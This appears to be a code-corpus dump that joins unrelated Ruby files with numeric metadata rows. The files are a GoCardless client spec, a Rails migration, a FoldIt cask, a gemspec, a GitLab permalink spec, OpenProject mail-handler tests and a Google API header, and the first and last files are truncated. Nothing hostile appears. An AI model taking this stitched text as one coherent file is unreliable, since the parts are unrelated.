stub_request(:post, /.*api.gocardless.com#{stub_url}/).
with(
body: { foo: 'bar' },
headers: { 'Foo' => 'Bar' }
).to_return(
body: {
'billing_requests' => {
'actions' => 'actions-input',
'created_at' => 'created_at-input',
'fallback_enabled' => 'fallback_enabled-input',
'id' => 'id-input',
'links' => 'links-input',
'mandate_request' => 'mandate_request-input',
'metadata' => 'metadata-input',
'payment_request' => 'payment_request-input',
'resources' => 'resources-input',
'status' => 'status-input',
},
}.to_json,
headers: response_headers
)
end
end
end
describe '#collect_bank_account' do
subject(:post_response) { client.billing_requests.collect_bank_account(resource_id) }
let(:resource_id) { 'ABC123' }
let!(:stub) do
# /billing_requests/%v/actions/collect_bank_account
stub_url = '/billing_requests/:identity/actions/collect_bank_account'.gsub(':identity', resource_id)
stub_request(:post, /.*api.gocardless.com#{stub_url}/).to_return(
body: {
'billing_requests' => {
'actions' => 'actions-input',
'created_at' => 'created_at-input',
'fallback_enabled' => 'fallback_enabled-input',
'id' => 'id-input',
'links' => 'links-input',
'mandate_request' => 'mandate_request-input',
'metadata' => 'metadata-input',
'payment_request' => 'payment_request-input',
'resources' => 'resources-input',
'status' => 'status-input',
},
}.to_json,
headers: response_headers
)
end
it 'wraps the response and calls the right endpoint' do
expect(post_response).to be_a(GoCardlessPro::Resources::BillingRequest)
expect(stub).to have_been_requested
end
context 'when the request needs a body and custom header' do
let(:body) { { foo: 'bar' } }
let(:headers) { { 'Foo' => 'Bar' } }
subject(:post_response) { client.billing_requests.collect_bank_account(resource_id, body, headers) }
let(:resource_id) { 'ABC123' }
let!(:stub) do
# /billing_requests/%v/actions/collect_bank_account
stub_url = '/billing_requests/:identity/actions/collect_bank_account'.gsub(':identity', resource_id)
stub_request(:post, /.*api.gocardless.com#{stub_url}/).
with(
body: { foo: 'bar' },
headers: { 'Foo' => 'Bar' }
).to_return(
body: {
'billing_requests' => {
'actions' => 'actions-input',
'created_at' => 'created_at-input',
'fallback_enabled' => 'fallback_enabled-input',
'id' => 'id-input',
'links' => 'links-input',
'mandate_request' => 'mandate_request-input',
'metadata' => 'metadata-input',
'payment_request' => 'payment_request-input',
'resources' => 'resources-input',
'status' => 'status-input',
},
}.to_json,
headers: response_headers
)
end
end
end
describe '#fulfil' do
subject(:post_response) { client.billing_requests.fulfil(resource_id) }
let(:resource_id) { 'ABC123' }
let!(:stub) do
# /billing_requests/%v/actions/fulfil
stub_url = '/billing_requests/:identity/actions/fulfil'.gsub(':identity', resource_id)
stub_request(:post, /.*api.gocardless.com#{stub_url}/).to_return(
body: {
'billing_requests' => {
'actions' => 'actions-input',
'created_at' => 'created_at-input',
'fallback_enabled' => 'fallback_enabled-input',
'id' => 'id-input',
'links' => 'links-input',
'mandate_request' => 'mandate_request-input',
'metadata' => 'metadata-input',
'payment_request' => 'payment_request-input',
'resources' => 'resources-input',
'status' => 'status-input',
},
}.to_json,
headers: response_headers
)
end
it 'wraps the response and calls the right endpoint' do
expect(post_response).to be_a(GoCardlessPro::Resources::BillingRequest)
expect(stub).to have_been_requested
end
context 'when the request needs a body and custom header' do
let(:body) { { foo: 'bar' } }
let(:headers) { { 'Foo' => 'Bar' } }
subject(:post_response) { client.billing_requests.fulfil(resource_id, body, headers) }
let(:resource_id) { 'ABC123' }
let!(:stub) do
# /billing_requests/%v/actions/fulfil
stub_url = '/billing_requests/:identity/actions/fulfil'.gsub(':identity', resource_id)
stub_request(:post, /.*api.gocardless.com#{stub_url}/).
with(
body: { foo: 'bar' },
headers: { 'Foo' => 'Bar' }
).to_return(
body: {
'billing_requests' => {
'actions' => 'actions-input',
'created_at' => 'created_at-input',
'fallback_enabled' => 'fallback_enabled-input',
'id' => 'id-input',
'links' => 'links-input',
'mandate_request' => 'mandate_request-input',
'metadata' => 'metadata-input',
'payment_request' => 'payment_request-input',
'resources' => 'resources-input',
'status' => 'status-input',
},
}.to_json,
headers: response_headers
)
end
end
end
describe '#confirm_payer_details' do
subject(:post_response) { client.billing_requests.confirm_payer_details(resource_id) }
let(:resource_id) { 'ABC123' }
let!(:stub) do
# /billing_requests/%v/actions/confirm_payer_details
stub_url = '/billing_requests/:identity/actions/confirm_payer_details'.gsub(':identity', resource_id)
stub_request(:post, /.*api.gocardless.com#{stub_url}/).to_return(
body: {
'billing_requests' => {
'actions' => 'actions-input',
'created_at' => 'created_at-input',
'fallback_enabled' => 'fallback_enabled-input',
'id' => 'id-input',
'links' => 'links-input',
'mandate_request' => 'mandate_request-input',
'metadata' => 'metadata-input',
'payment_request' => 'payment_request-input',
'resources' => 'resources-input',
'status' => 'status-input',
},
}.to_json,
headers: response_headers
)
end
it 'wraps the response and calls the right endpoint' do
expect(post_response).to be_a(GoCardlessPro::Resources::BillingRequest)
expect(stub).to have_been_requested
end
context 'when the request needs a body and custom header' do
let(:body) { { foo: 'bar' } }
let(:headers) { { 'Foo' => 'Bar' } }
subject(:post_response) { client.billing_requests.confirm_payer_details(resource_id, body, headers) }
let(:resource_id) { 'ABC123' }
let!(:stub) do
# /billing_requests/%v/actions/confirm_payer_details
stub_url = '/billing_requests/:identity/actions/confirm_payer_details'.gsub(':identity', resource_id)
stub_request(:post, /.*api.gocardless.com#{stub_url}/).
with(
body: { foo: 'bar' },
headers: { 'Foo' => 'Bar' }
).to_return(
body: {
'billing_requests' => {
'actions' => 'actions-input',
'created_at' => 'created_at-input',
'fallback_enabled' => 'fallback_enabled-input',
'id' => 'id-input',
'links' => 'links-input',
'mandate_request' => 'mandate_request-input',
'metadata' => 'metadata-input',
'payment_request' => 'payment_request-input',
'resources' => 'resources-input',
'status' => 'status-input',
},
}.to_json,
headers: response_headers
)
end
end
end
describe '#cancel' do
subject(:post_response) { client.billing_requests.cancel(resource_id) }
let(:resource_id) { 'ABC123' }
let!(:stub) do
# /billing_requests/%v/actions/cancel
stub_url = '/billing_requests/:identity/actions/cancel'.gsub(':identity', resource_id)
stub_request(:post, /.*api.gocardless.com#{stub_url}/).to_return(
body: {
'billing_requests' => {
'actions' => 'actions-input',
'created_at' => 'created_at-input',
'fallback_enabled' => 'fallback_enabled-input',
'id' => 'id-input',
'links' => 'links-input',
'mandate_request' => 'mandate_request-input',
'metadata' => 'metadata-input',
'payment_request' => 'payment_request-input',
'resources' => 'resources-input',
'status' => 'status-input',
},
}.to_json,
headers: response_headers
)
end
it 'wraps the response and calls the right endpoint' do
expect(post_response).to be_a(GoCardlessPro::Resources::BillingRequest)
expect(stub).to have_been_requested
end
context 'when the request needs a body and custom header' do
let(:body) { { foo: 'bar' } }
let(:headers) { { 'Foo' => 'Bar' } }
subject(:post_response) { client.billing_requests.cancel(resource_id, body, headers) }
let(:resource_id) { 'ABC123' }
let!(:stub) do
# /billing_requests/%v/actions/cancel
stub_url = '/billing_requests/:identity/actions/cancel'.gsub(':identity', resource_id)
stub_request(:post, /.*api.gocardless.com#{stub_url}/).
with(
body: { foo: 'bar' },
headers: { 'Foo' => 'Bar' }
).to_return(
body: {
'billing_requests' => {
'actions' => 'actions-input',
'created_at' => 'created_at-input',
'fallback_enabled' => 'fallback_enabled-input',
'id' => 'id-input',
'links' => 'links-input',
'mandate_request' => 'mandate_request-input',
'metadata' => 'metadata-input',
'payment_request' => 'payment_request-input',
'resources' => 'resources-input',
'status' => 'status-input',
},
}.to_json,
headers: response_headers
)
end
end
end
describe '#notify' do
subject(:post_response) { client.billing_requests.notify(resource_id) }
let(:resource_id) { 'ABC123' }
let!(:stub) do
# /billing_requests/%v/actions/notify
stub_url = '/billing_requests/:identity/actions/notify'.gsub(':identity', resource_id)
stub_request(:post, /.*api.gocardless.com#{stub_url}/).to_return(
body: {
'billing_requests' => {
'actions' => 'actions-input',
'created_at' => 'created_at-input',
'fallback_enabled' => 'fallback_enabled-input',
'id' => 'id-input',
'links' => 'links-input',
'mandate_request' => 'mandate_request-input',
'metadata' => 'metadata-input',
'payment_request' => 'payment_request-input',
'resources' => 'resources-input',
'status' => 'status-input',
},
}.to_json,
headers: response_headers
)
end
it 'wraps the response and calls the right endpoint' do
expect(post_response).to be_a(GoCardlessPro::Resources::BillingRequest)
expect(stub).to have_been_requested
end
context 'when the request needs a body and custom header' do
let(:body) { { foo: 'bar' } }
let(:headers) { { 'Foo' => 'Bar' } }
subject(:post_response) { client.billing_requests.notify(resource_id, body, headers) }
let(:resource_id) { 'ABC123' }
let!(:stub) do
# /billing_requests/%v/actions/notify
stub_url = '/billing_requests/:identity/actions/notify'.gsub(':identity', resource_id)
stub_request(:post, /.*api.gocardless.com#{stub_url}/).
with(
body: { foo: 'bar' },
headers: { 'Foo' => 'Bar' }
).to_return(
body: {
'billing_requests' => {
'actions' => 'actions-input',
'created_at' => 'created_at-input',
'fallback_enabled' => 'fallback_enabled-input',
'id' => 'id-input',
'links' => 'links-input',
'mandate_request' => 'mandate_request-input',
'metadata' => 'metadata-input',
'payment_request' => 'payment_request-input',
'resources' => 'resources-input',
'status' => 'status-input',
},
}.to_json,
headers: response_headers
)
end
end
end
describe '#fallback' do
subject(:post_response) { client.billing_requests.fallback(resource_id) }
let(:resource_id) { 'ABC123' }
let!(:stub) do
# /billing_requests/%v/actions/fallback
stub_url = '/billing_requests/:identity/actions/fallback'.gsub(':identity', resource_id)
stub_request(:post, /.*api.gocardless.com#{stub_url}/).to_return(
body: {
'billing_requests' => {
'actions' => 'actions-input',
'created_at' => 'created_at-input',
'fallback_enabled' => 'fallback_enabled-input',
'id' => 'id-input',
'links' => 'links-input',
'mandate_request' => 'mandate_request-input',
'metadata' => 'metadata-input',
'payment_request' => 'payment_request-input',
'resources' => 'resources-input',
'status' => 'status-input',
},
}.to_json,
headers: response_headers
)
end
it 'wraps the response and calls the right endpoint' do
expect(post_response).to be_a(GoCardlessPro::Resources::BillingRequest)
expect(stub).to have_been_requested
end
context 'when the request needs a body and custom header' do
let(:body) { { foo: 'bar' } }
let(:headers) { { 'Foo' => 'Bar' } }
subject(:post_response) { client.billing_requests.fallback(resource_id, body, headers) }
let(:resource_id) { 'ABC123' }
let!(:stub) do
# /billing_requests/%v/actions/fallback
stub_url = '/billing_requests/:identity/actions/fallback'.gsub(':identity', resource_id)
stub_request(:post, /.*api.gocardless.com#{stub_url}/).
with(
body: { foo: 'bar' },
headers: { 'Foo' => 'Bar' }
).to_return(
body: {
'billing_requests' => {
'actions' => 'actions-input',
'created_at' => 'created_at-input',
'fallback_enabled' => 'fallback_enabled-input',
'id' => 'id-input',
'links' => 'links-input',
'mandate_request' => 'mandate_request-input',
'metadata' => 'metadata-input',
'payment_request' => 'payment_request-input',
'resources' => 'resources-input',
'status' => 'status-input',
},
}.to_json,
headers: response_headers
)
end
end
end
end
| 33.703704 | 113 | 0.540226 |
edb11352babb6f784090ad6e6bc5f305310c33b5
| 217 |
class CreateCategoriesCourses < ActiveRecord::Migration[6.0]
def change
create_table :categories_courses do |t|
t.belongs_to :category, index: true
t.belongs_to :course, index: true
end
end
end
| 24.111111 | 60 | 0.718894 |
7aa42c8f1576dfa91db9266cadea1b8875b440db
| 177 |
cask :v1 => 'foldit' do
version :latest
sha256 :no_check
url 'https://fold.it/portal/download/osx'
homepage 'http://fold.it'
license :unknown
app 'FoldIt.app'
end
| 16.090909 | 43 | 0.672316 |
ace63215da46bfce2ab1120edff0a69ea2a402dc
| 1,653 |
lib = File.expand_path("../lib", __FILE__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require "todays_top_desserts/version"
Gem::Specification.new do |spec|
spec.name = "todays_top_desserts"
spec.version = TodaysTopDesserts::VERSION
spec.authors = ["krystlebarnes"]
spec.email = ["[email protected]"]
spec.summary = %q{Find the recipes for today's top desserts.}
spec.description = %q{This Ruby gem installs a CLI that gives you the recipes for the top ten desserts being made today according to Allrecipes.com.}
spec.homepage = "https://github.com/krystlebarnes/todays-top-desserts-cli-app"
spec.license = "MIT"
# Prevent pushing this gem to RubyGems.org. To allow pushes either set the 'allowed_push_host'
# to allow pushing to a single host or delete this section to allow pushing to any host.
# if spec.respond_to?(:metadata)
# spec.metadata["allowed_push_host"] = 'http://mygemserver.com'
# else
# raise "RubyGems 2.0 or newer is required to protect against " \
# "public gem pushes."
# end
spec.files = `git ls-files -z`.split("\x0").reject do |f|
f.match(%r{^(test|spec|features)/})
end
spec.bindir = "bin"
spec.executables = spec.files.grep(%r{^bin/}) { |f| File.basename(f) }
spec.require_paths = ["lib"]
spec.add_development_dependency "bundler", "~> 1.16"
spec.add_development_dependency "rake", "~> 10.0"
spec.add_development_dependency "rspec", "~> 3.0"
spec.add_development_dependency "pry"
spec.add_development_dependency "colorize"
spec.add_dependency "nokogiri", "~> 1.8.2"
end
| 40.317073 | 153 | 0.68542 |
e8c026a254e5faa4365b870ed16f09043dc758ab
| 3,256 |
# frozen_string_literal: true
require 'spec_helper'
RSpec.describe 'Blob button line permalinks (BlobLinePermalinkUpdater)', :js do
include TreeHelper
let(:project) { create(:project, :public, :repository) }
let(:path) { 'CHANGELOG' }
let(:sha) { project.repository.commit.sha }
before do
stub_feature_flags(refactor_blob_viewer: false)
end
describe 'On a file(blob)' do
def get_absolute_url(path = "")
"http://#{page.server.host}:#{page.server.port}#{path}"
end
def visit_blob(fragment = nil)
visit project_blob_path(project, tree_join('master', path), anchor: fragment)
end
describe 'Click "Permalink" button' do
it 'works with no initial line number fragment hash' do
visit_blob
expect(find('.js-data-file-blob-permalink-url')['href']).to eq(get_absolute_url(project_blob_path(project, tree_join(sha, path))))
end
it 'maintains intitial fragment hash' do
fragment = "L3"
visit_blob(fragment)
expect(find('.js-data-file-blob-permalink-url')['href']).to eq(get_absolute_url(project_blob_path(project, tree_join(sha, path), anchor: fragment)))
end
it 'changes fragment hash if line number clicked' do
ending_fragment = "L5"
visit_blob
find('#L3').click
find("##{ending_fragment}").click
expect(find('.js-data-file-blob-permalink-url')['href']).to eq(get_absolute_url(project_blob_path(project, tree_join(sha, path), anchor: ending_fragment)))
end
it 'with initial fragment hash, changes fragment hash if line number clicked' do
fragment = "L1"
ending_fragment = "L5"
visit_blob(fragment)
find('#L3').click
find("##{ending_fragment}").click
expect(find('.js-data-file-blob-permalink-url')['href']).to eq(get_absolute_url(project_blob_path(project, tree_join(sha, path), anchor: ending_fragment)))
end
end
describe 'Click "Blame" button' do
it 'works with no initial line number fragment hash' do
visit_blob
expect(find('.js-blob-blame-link')['href']).to eq(get_absolute_url(project_blame_path(project, tree_join('master', path))))
end
it 'maintains intitial fragment hash' do
fragment = "L3"
visit_blob(fragment)
expect(find('.js-blob-blame-link')['href']).to eq(get_absolute_url(project_blame_path(project, tree_join('master', path), anchor: fragment)))
end
it 'changes fragment hash if line number clicked' do
ending_fragment = "L5"
visit_blob
find('#L3').click
find("##{ending_fragment}").click
expect(find('.js-blob-blame-link')['href']).to eq(get_absolute_url(project_blame_path(project, tree_join('master', path), anchor: ending_fragment)))
end
it 'with initial fragment hash, changes fragment hash if line number clicked' do
fragment = "L1"
ending_fragment = "L5"
visit_blob(fragment)
find('#L3').click
find("##{ending_fragment}").click
expect(find('.js-blob-blame-link')['href']).to eq(get_absolute_url(project_blame_path(project, tree_join('master', path), anchor: ending_fragment)))
end
end
end
end
| 31.307692 | 163 | 0.657862 |
9113bd83fe764d55b02f51499b2e250749c5de3b
| 18,468 |
#-- encoding: UTF-8
#-- copyright
# OpenProject is an open source project management software.
# Copyright (C) 2012-2021 the OpenProject GmbH
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License version 3.
#
# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:
# Copyright (C) 2006-2013 Jean-Philippe Lang
# Copyright (C) 2010-2013 the ChiliProject Team
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
#
# See docs/COPYRIGHT.rdoc for more details.
#++
require_relative '../legacy_spec_helper'
describe MailHandler, type: :model do
fixtures :all
FIXTURES_PATH = File.dirname(__FILE__) + '/../fixtures/mail_handler'
before do
allow(Setting).to receive(:notified_events).and_return(OpenProject::Notifiable.all.map(&:name))
end
it 'should add work package with attributes override' do
issue = submit_email('ticket_with_attributes.eml', allow_override: 'type,category,priority')
assert issue.is_a?(WorkPackage)
assert !issue.new_record?
issue.reload
assert_equal 'New ticket on a given project', issue.subject
assert_equal User.find_by_login('jsmith'), issue.author
assert_equal Project.find(2), issue.project
assert_equal 'Feature request', issue.type.to_s
assert_equal 'Stock management', issue.category.to_s
assert_equal 'Urgent', issue.priority.to_s
assert issue.description.include?('Lorem ipsum dolor sit amet, consectetuer adipiscing elit.')
end
it 'should add work package with group assignment' do
work_package = submit_email('ticket_on_given_project.eml') do |email|
email.gsub!('Assigned to: John Smith', 'Assigned to: B Team')
end
assert work_package.is_a?(WorkPackage)
assert !work_package.new_record?
work_package.reload
assert_equal Group.find(11), work_package.assigned_to
end
it 'should add work package with partial attributes override' do
issue = submit_email('ticket_with_attributes.eml', issue: { priority: 'High' }, allow_override: ['type'])
assert issue.is_a?(WorkPackage)
assert !issue.new_record?
issue.reload
assert_equal 'New ticket on a given project', issue.subject
assert_equal User.find_by_login('jsmith'), issue.author
assert_equal Project.find(2), issue.project
assert_equal 'Feature request', issue.type.to_s
assert_nil issue.category
assert_equal 'High', issue.priority.to_s
assert issue.description.include?('Lorem ipsum dolor sit amet, consectetuer adipiscing elit.')
end
it 'should add work package with spaces between attribute and separator' do
issue = submit_email('ticket_with_spaces_between_attribute_and_separator.eml', allow_override: 'type,category,priority')
assert issue.is_a?(WorkPackage)
assert !issue.new_record?
issue.reload
assert_equal 'New ticket on a given project', issue.subject
assert_equal User.find_by_login('jsmith'), issue.author
assert_equal Project.find(2), issue.project
assert_equal 'Feature request', issue.type.to_s
assert_equal 'Stock management', issue.category.to_s
assert_equal 'Urgent', issue.priority.to_s
assert issue.description.include?('Lorem ipsum dolor sit amet, consectetuer adipiscing elit.')
end
it 'should add work package with attachment to specific project' do
issue = submit_email('ticket_with_attachment.eml', issue: { project: 'onlinestore' })
assert issue.is_a?(WorkPackage)
assert !issue.new_record?
issue.reload
assert_equal 'Ticket created by email with attachment', issue.subject
assert_equal User.find_by_login('jsmith'), issue.author
assert_equal Project.find(2), issue.project
assert_equal 'This is a new ticket with attachments', issue.description
# Attachment properties
assert_equal 1, issue.attachments.size
assert_equal 'Paella.jpg', issue.attachments.first.filename
assert_equal 'image/jpeg', issue.attachments.first.content_type
assert_equal 10790, issue.attachments.first.filesize
end
it 'should add work package with custom fields' do
issue = submit_email('ticket_with_custom_fields.eml', issue: { project: 'onlinestore' })
assert issue.is_a?(WorkPackage)
assert !issue.new_record?
issue.reload
assert_equal 'New ticket with custom field values', issue.subject
assert_equal 'Value for a custom field', issue.custom_value_for(CustomField.find_by(name: 'Searchable field')).value
assert !issue.description.match(/^searchable field:/i)
end
it 'should add work package should match assignee on display name' do # added from redmine - not sure if it is ok here
user = FactoryBot.create(:user, firstname: 'Foo', lastname: 'Bar')
role = FactoryBot.create(:role, name: 'Superhero')
FactoryBot.create(:member, user: user, project: Project.find(2), role_ids: [role.id])
issue = submit_email('ticket_on_given_project.eml') do |email|
email.sub!(/^Assigned to.*$/, 'Assigned to: Foo Bar')
end
assert issue.is_a?(WorkPackage)
assert_equal user, issue.assigned_to
end
it 'should add work package by unknown user' do
assert_no_difference 'User.count' do
assert_equal false, submit_email('ticket_by_unknown_user.eml', issue: { project: 'ecookbook' })
end
end
it 'should add work package by anonymous user' do
Role.anonymous.add_permission!(:add_work_packages)
assert_no_difference 'User.count' do
issue = submit_email('ticket_by_unknown_user.eml', issue: { project: 'ecookbook' }, unknown_user: 'accept')
assert issue.is_a?(WorkPackage)
assert issue.author.anonymous?
end
end
it 'should add work package by anonymous user with no from address' do
Role.anonymous.add_permission!(:add_work_packages)
assert_no_difference 'User.count' do
issue = submit_email('ticket_by_empty_user.eml', issue: { project: 'ecookbook' }, unknown_user: 'accept')
assert issue.is_a?(WorkPackage)
assert issue.author.anonymous?
end
end
it 'should add work package by anonymous user on private project' do
Role.anonymous.add_permission!(:add_work_packages)
assert_no_difference 'User.count' do
assert_no_difference 'WorkPackage.count' do
assert_equal false, submit_email('ticket_by_unknown_user.eml', issue: { project: 'onlinestore' }, unknown_user: 'accept')
end
end
end
it 'should add work package by anonymous user on private project without permission check' do
assert_no_difference 'User.count' do
assert_difference 'WorkPackage.count' do
issue = submit_email('ticket_by_unknown_user.eml',
issue: { project: 'onlinestore' },
no_permission_check: '1',
unknown_user: 'accept')
assert issue.is_a?(WorkPackage)
assert issue.author.anonymous?
assert !issue.project.public?
assert issue.root?
assert issue.leaf?
end
end
end
it 'should add work package without from header' do
Role.anonymous.add_permission!(:add_work_packages)
assert_equal false, submit_email('ticket_without_from_header.eml')
end
context 'without default start_date', with_settings: { work_package_startdate_is_adddate: false } do
it 'should add work package with invalid attributes' do
issue = submit_email('ticket_with_invalid_attributes.eml', allow_override: 'type,category,priority')
assert issue.is_a?(WorkPackage)
assert !issue.new_record?
issue.reload
assert_nil issue.assigned_to
assert_nil issue.start_date
assert_nil issue.due_date
assert_equal 0, issue.done_ratio
assert_equal 'Normal', issue.priority.to_s
assert issue.description.include?('Lorem ipsum dolor sit amet, consectetuer adipiscing elit.')
end
end
it 'should add work package with localized attributes' do
User.find_by_mail('[email protected]').update_attribute 'language', 'de'
issue = submit_email('ticket_with_localized_attributes.eml', allow_override: 'type,category,priority')
assert issue.is_a?(WorkPackage)
assert !issue.new_record?
issue.reload
assert_equal 'New ticket on a given project', issue.subject
assert_equal User.find_by_login('jsmith'), issue.author
assert_equal Project.find(2), issue.project
assert_equal 'Feature request', issue.type.to_s
assert_equal 'Stock management', issue.category.to_s
assert_equal 'Urgent', issue.priority.to_s
assert issue.description.include?('Lorem ipsum dolor sit amet, consectetuer adipiscing elit.')
end
it 'should add work package with japanese keywords' do
type = ::Type.create!(name: '開発')
Project.find(1).types << type
issue = submit_email('japanese_keywords_iso_2022_jp.eml', issue: { project: 'ecookbook' }, allow_override: 'type')
assert_kind_of WorkPackage, issue
assert_equal type, issue.type
end
it 'should add from apple mail' do
issue = submit_email(
'apple_mail_with_attachment.eml',
issue: { project: 'ecookbook' }
)
assert_kind_of WorkPackage, issue
assert_equal 1, issue.attachments.size
attachment = issue.attachments.first
assert_equal 'paella.jpg', attachment.filename
assert_equal 10790, attachment.filesize
assert File.exist?(attachment.diskfile)
assert_equal 10790, File.size(attachment.diskfile)
assert_equal 'caaf384198bcbc9563ab5c058acd73cd', attachment.digest
end
it 'should add work package with iso 8859 1 subject' do
issue = submit_email(
'subject_as_iso-8859-1.eml',
issue: { project: 'ecookbook' }
)
assert_kind_of WorkPackage, issue
assert_equal 'Testmail from Webmail: ä ö ü...', issue.subject
end
it 'should ignore emails from locked users' do
User.find(2).lock!
expect_any_instance_of(MailHandler).to receive(:dispatch).never
assert_no_difference 'WorkPackage.count' do
assert_equal false, submit_email('ticket_on_given_project.eml')
end
end
it 'should ignore auto replied emails' do
expect_any_instance_of(MailHandler).to receive(:dispatch).never
[
'X-Auto-Response-Suppress: OOF',
'Auto-Submitted: auto-replied',
'Auto-Submitted: Auto-Replied',
'Auto-Submitted: auto-generated'
].each do |header|
raw = IO.read(File.join(FIXTURES_PATH, 'ticket_on_given_project.eml'))
raw = header + "\n" + raw
assert_no_difference 'WorkPackage.count' do
assert_equal false, MailHandler.receive(raw), "email with #{header} header was not ignored"
end
end
end
it 'should add work package should send email notification' do
Setting.notified_events = ['work_package_added']
# This email contains: 'Project: onlinestore'
issue = submit_email('ticket_on_given_project.eml')
assert issue.is_a?(WorkPackage)
# One for the wp creation.
assert_equal 1, ActionMailer::Base.deliveries.size
end
it 'should add work package note' do
journal = submit_email('ticket_reply.eml')
assert journal.is_a?(Journal)
assert_equal User.find_by_login('jsmith'), journal.user
assert_equal WorkPackage.find(2), journal.journable
assert_match /This is reply/, journal.notes
assert_equal 'Feature request', journal.journable.type.name
end
specify 'reply to issue update (Journal) by message_id' do
Journal.delete_all
FactoryBot.create :work_package_journal, id: 3, version: 1, journable_id: 2
journal = submit_email('ticket_reply_by_message_id.eml')
assert journal.data.is_a?(Journal::WorkPackageJournal), "Email was a #{journal.data.class}"
assert_equal User.find_by_login('jsmith'), journal.user
assert_equal WorkPackage.find(2), journal.journable
assert_match /This is reply/, journal.notes
assert_equal 'Feature request', journal.journable.type.name
end
it 'should add work package note with attribute changes' do
# This email contains: 'Status: Resolved'
journal = submit_email('ticket_reply_with_status.eml')
assert journal.data.is_a?(Journal::WorkPackageJournal)
issue = WorkPackage.find(journal.journable.id)
assert_equal User.find_by_login('jsmith'), journal.user
assert_equal WorkPackage.find(2), journal.journable
assert_match /This is reply/, journal.notes
assert_equal 'Feature request', journal.journable.type.name
assert_equal Status.find_by(name: 'Resolved'), issue.status
assert_equal '2010-01-01', issue.start_date.to_s
assert_equal '2010-12-31', issue.due_date.to_s
assert_equal User.find_by_login('jsmith'), issue.assigned_to
assert_equal '52.6', issue.custom_value_for(CustomField.find_by(name: 'Float field')).value
# keywords should be removed from the email body
assert !journal.notes.match(/^Status:/i)
assert !journal.notes.match(/^Start Date:/i)
end
it 'should add work package note should send email notification' do
journal = submit_email('ticket_reply.eml')
assert journal.is_a?(Journal)
assert_equal 2, ActionMailer::Base.deliveries.size
end
it 'should add work package note should not set defaults' do
journal = submit_email('ticket_reply.eml', issue: { type: 'Support request', priority: 'High' })
assert journal.is_a?(Journal)
assert_match /This is reply/, journal.notes
assert_equal 'Feature request', journal.journable.type.name
assert_equal 'Normal', journal.journable.priority.name
end
it 'should reply to a message' do
m = submit_email('message_reply.eml')
assert m.is_a?(Message)
assert !m.new_record?
m.reload
assert_equal 'Reply via email', m.subject
# The email replies to message #2 which is part of the thread of message #1
assert_equal Message.find(1), m.parent
end
it 'should reply to a message by subject' do
m = submit_email('message_reply_by_subject.eml')
assert m.is_a?(Message)
assert !m.new_record?
m.reload
assert_equal 'Reply to the first post', m.subject
assert_equal Message.find(1), m.parent
end
it 'should strip tags of html only emails' do
issue = submit_email('ticket_html_only.eml', issue: { project: 'ecookbook' })
assert issue.is_a?(WorkPackage)
assert !issue.new_record?
issue.reload
assert_equal 'HTML email', issue.subject
assert_equal 'This is a html-only email.', issue.description
end
it 'should email with long subject line' do
issue = submit_email('ticket_with_long_subject.eml')
assert issue.is_a?(WorkPackage)
assert_equal issue.subject,
'New ticket on a given project with a very long subject line which exceeds 255 chars and should not be ignored but chopped off. And if the subject line is still not long enough, we just add more text. And more text. Wow, this is really annoying. Especially, if you have nothing to say...'[
0, 255]
end
it 'should new user from attributes should return valid user' do
to_test = {
# [address, name] => [login, firstname, lastname]
['[email protected]', nil] => ['[email protected]', 'jsmith', '-'],
['[email protected]', 'John'] => ['[email protected]', 'John', '-'],
['[email protected]', 'John Smith'] => ['[email protected]', 'John', 'Smith'],
['[email protected]', 'John Paul Smith'] => ['[email protected]', 'John', 'Paul Smith'],
['[email protected]',
'AVeryLongFirstnameThatNoLongerExceedsTheMaximumLength Smith'] => ['[email protected]',
'AVeryLongFirstnameThatNoLongerExceedsTheMaximumLength', 'Smith'],
['[email protected]',
'John AVeryLongLastnameThatNoLongerExceedsTheMaximumLength'] => ['[email protected]', 'John',
'AVeryLongLastnameThatNoLongerExceedsTheMaximumLength']
}
to_test.each do |attrs, expected|
user = MailHandler.new_user_from_attributes(attrs.first, attrs.last)
assert user.valid?, user.errors.full_messages.to_s
assert_equal attrs.first, user.mail
assert_equal expected[0], user.login
assert_equal expected[1], user.firstname
assert_equal expected[2], user.lastname
end
end
context 'with min password length',
with_settings: { password_min_length: 15 } do
it 'should new user from attributes should respect minimum password length' do
user = MailHandler.new_user_from_attributes('[email protected]')
assert user.valid?
assert user.password.length >= 15
end
end
it 'should new user from attributes should use default login if invalid' do
user = MailHandler.new_user_from_attributes('foo&[email protected]')
assert user.valid?
assert user.login =~ /^user[a-f0-9]+$/
assert_equal 'foo&[email protected]', user.mail
end
it 'should new user with utf8 encoded fullname should be decoded' do
assert_difference 'User.count' do
issue = submit_email(
'fullname_of_sender_as_utf8_encoded.eml',
issue: { project: 'ecookbook' },
unknown_user: 'create'
)
end
user = User.order('id DESC').first
assert_equal '[email protected]', user.mail
str1 = "\xc3\x84\xc3\xa4"
str2 = "\xc3\x96\xc3\xb6"
str1.force_encoding('UTF-8') if str1.respond_to?(:force_encoding)
str2.force_encoding('UTF-8') if str2.respond_to?(:force_encoding)
assert_equal str1, user.firstname
assert_equal str2, user.lastname
end
private
def submit_email(filename, options = {})
raw = IO.read(File.join(FIXTURES_PATH, filename))
yield raw if block_given?
MailHandler.receive(raw, options)
end
def assert_issue_created(issue)
assert issue.is_a?(WorkPackage)
assert !issue.new_record?
issue.reload
end
end
| 41.223214 | 306 | 0.717403 |
e916c656de13b039fefc8bb2e75842994167bcbc
| 24,000 |
# Copyright 2015 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
require 'date'
require 'google/apis/core/base_service'
require 'google/apis/core/json_representation'
require 'google/apis/core/hashable'
